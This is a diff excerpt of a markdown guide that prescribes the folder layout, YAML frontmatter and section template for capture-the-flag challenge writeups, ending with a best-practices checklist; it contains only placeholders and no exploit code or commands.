Category/XX-ChallengeName/
|
|
22
|
+
├── writeup.md # Main writeup report (only markdown report file)
|
|
23
|
+
├── solve.py # Automated solve script (if applicable)
|
|
24
|
+
└── resources/ # Subfolder for all challenge attachments, source code, data, logs, images
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
**Cleanliness Rules:**
|
|
28
|
+
- **DO NOT** create `flag.txt` (the flag is already stored in `writeup.md` frontmatter and body).
|
|
29
|
+
- **DO NOT** create redundant markdown duplicates (e.g., `ChallengeName.md`, `REPORT.md`). Only keep `writeup.md`.
|
|
30
|
+
- Move all downloaded challenge files, source code folders, dumps, test scripts, and media into the `resources/` subfolder.
|
|
31
|
+
|
|
32
|
+
---
|
|
33
|
+
|
|
34
|
+
## Writeup Format Standard
|
|
35
|
+
|
|
36
|
+
### Frontmatter YAML
|
|
37
|
+
The YAML frontmatter contains the following fields:
|
|
38
|
+
|
|
39
|
+
```yaml
|
|
40
|
+
---
|
|
41
|
+
title: "<Challenge Name>"
|
|
42
|
+
ctf: "<CTF Event / Platform Name>"
|
|
43
|
+
category: <web|pwn|crypto|reverse|forensics|osint|malware|misc>
|
|
44
|
+
diff: <easy|medium|hard|insane>
|
|
45
|
+
flag: "<flag_value>"
|
|
46
|
+
hint: "<hint_content_or_official_description>"
|
|
47
|
+
---
|
|
48
|
+
```
|
|
49
|
+
|
|
50
|
+
### Writeup Body Structure
|
|
51
|
+
|
|
52
|
+
```markdown
|
|
53
|
+
# <Challenge Name>
|
|
54
|
+
|
|
55
|
+
## 1. Challenge & Hint Analysis (Hint-First Methodology)
|
|
56
|
+
- **Challenge Description & Hints**: Exact quote of the official prompt, title, and hints provided by the organizers.
|
|
57
|
+
- **Semantic Interpretation**: Decoded technical intent, targeted primitive, and explicit elimination of irrelevant attack vectors (anti-rabbit hole scoping).
|
|
58
|
+
|
|
59
|
+
## 2. Target Architecture & Vulnerability Analysis
|
|
60
|
+
- **Architecture & Context**: Summary of the target stack, service architecture, or binary environment.
|
|
61
|
+
- **Root Cause Analysis (RCA)**: Deep technical breakdown of the underlying flaw (e.g., memory corruption, cryptographic flaw, logic flaw, injection).
|
|
62
|
+
|
|
63
|
+
## 3. Step-by-Step Exploitation Walkthrough
|
|
64
|
+
- **Step 1**: Initial reconnaissance and confirmation of the vulnerable primitive.
|
|
65
|
+
- **Step 2**: Developing the exploit chain or mitigation bypass.
|
|
66
|
+
- **Step 3**: Triggering final execution / decryption and exfiltrating the flag.
|
|
67
|
+
|
|
68
|
+
## 4. Standalone Exploit Script (solve.py)
|
|
69
|
+
```python
|
|
70
|
+
<one complete, standalone, runnable solving script from challenge data to flag>
|
|
71
|
+
```
|
|
72
|
+
|
|
73
|
+
## 5. Verification & Flag
|
|
74
|
+
```text
|
|
75
|
+
<exact_flag_here>
|
|
76
|
+
```
|
|
77
|
+
```
|
|
78
|
+
|
|
79
|
+
---
|
|
80
|
+
|
|
81
|
+
## Best Practices Checklist
|
|
82
|
+
|
|
83
|
+
Before finalizing the lab:
|
|
84
|
+
- [ ] **Frontmatter complete** — contains `title`, `ctf`, `category`, `diff`, `flag`, and `hint`.
|
|
85
|
+
- [ ] **Hint Analysis included** — dedicated section explaining the technical significance of the hint.
|
|
86
|
+
- [ ] **No extra files at root** — only `writeup.md`, `solve.py`, and `resources/` folder.
|
|
87
|
+
- [ ] **Redundant files removed** — no `flag.txt` and no duplicate `.md` files.
|
|
88
|
+
- [ ] **All challenge data organized** — source code, logs, and downloads placed inside `resources/`.
|
|
89
|
+
- [ ] **Reproducible solve script** — `solve.py` is self-contained and runnable.
|
|
90
|
+
- [ ] **Real flag verified** — exact flag verified and documented.
|